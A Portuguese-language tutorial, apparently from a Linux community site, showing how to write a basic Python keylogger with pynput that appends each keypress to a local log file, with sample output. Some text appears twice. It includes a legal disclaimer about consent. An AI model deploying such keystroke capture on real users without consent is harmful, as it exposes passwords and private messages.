Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
Introdução
Antes de tudo, o propósito deste artigo é educacional. Tenho ciência de que o conteúdo abordado no artigo pode ser usado tanto para o bem quanto para mal.
Uma ótima aplicação para um keylogger seria permitir aos pais monitorarem o que seus filhos andam fazendo no computador. Se você é o responsável direto da criança, essa atividade é legítima e não requer autorização.
Já em casos onde você não é o responsável pela pessoa, o uso de keylogger requer o CONSENTIMENTO de ambas as partes, caso contrário a atividade é considerada CRIME.
Então já fica avisado, usar keylogger para descobrir a senha do Facebook da namorada é crime!!!!
Primeiramente verifique se você possui o pynput instalado:
python3 -m pynput
/usr/bin/python3: No module named pynput
A saída acima indica que não possui a pynput instalada. Para resolver a dependência basta executar:
pip3 install pynput
Feito isso, teste novamente:
python3 -m pynput
/usr/bin/python3: No module named pynput.__main__; 'pynput' is a package and cannot be directly executed
Tudo certo, já podemos começar!
Segue a primeira versão de nosso keylogger com comentários:
vim keylogger.py
Vamos agora executar e testar o código:
python3 keylogger.py
Abra um segundo terminal e monitore o arquivo de log:
tail -f /home/fabio/python/keylogger/log.txt
Em outro terminal eu digitei "Viva o Linux!", o registro no log ficou mais ou menos assim:
Note que cada letra foi delimitada por aspas simples e teclas como o shift, espaço, enter e backspace foram logadas de forma bruta.
Na próxima página veremos como melhorar isso.
Uma ótima aplicação para um keylogger seria permitir aos pais monitorarem o que seus filhos andam fazendo no computador. Se você é o responsável direto da criança, essa atividade é legítima e não requer autorização.
Já em casos onde você não é o responsável pela pessoa, o uso de keylogger requer o CONSENTIMENTO de ambas as partes, caso contrário a atividade é considerada CRIME.
Então já fica avisado, usar keylogger para descobrir a senha do Facebook da namorada é crime!!!!
Mão na massa
No Python existem várias formas de se obter o mesmo resultado. Para este artigo utilizaremos a biblioteca pynput para obtermos acesso ao teclado. Também utilizarei a versão 3 do Python, não testei o código na versão 2.Primeiramente verifique se você possui o pynput instalado:
python3 -m pynput
/usr/bin/python3: No module named pynput
A saída acima indica que não possui a pynput instalada. Para resolver a dependência basta executar:
pip3 install pynput
Feito isso, teste novamente:
python3 -m pynput
/usr/bin/python3: No module named pynput.__main__; 'pynput' is a package and cannot be directly executed
Tudo certo, já podemos começar!
Segue a primeira versão de nosso keylogger com comentários:
vim keylogger.py
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
'''
Esta função será responsável por receber a tecla pressionada
via Listener e escrever no arquivo de log
'''
#converter a tecla pressionada para string
keydata = str(key)
#abrir o arquivo de log no modo append
with open(logFile, "a") as f:
f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
l.join()
Vamos agora executar e testar o código:
python3 keylogger.py
Abra um segundo terminal e monitore o arquivo de log:
tail -f /home/fabio/python/keylogger/log.txt
Em outro terminal eu digitei "Viva o Linux!", o registro no log ficou mais ou menos assim:
Key.shift_r'V''i''v''a'Key.space'o'Key.spaceKey.shift_r'L''i''n''u''x'Key.shift_r'!''"'Key.backspaceKey.enterKey.alt'3'
Note que cada letra foi delimitada por aspas simples e teclas como o shift, espaço, enter e backspace foram logadas de forma bruta.
Na próxima página veremos como melhorar isso.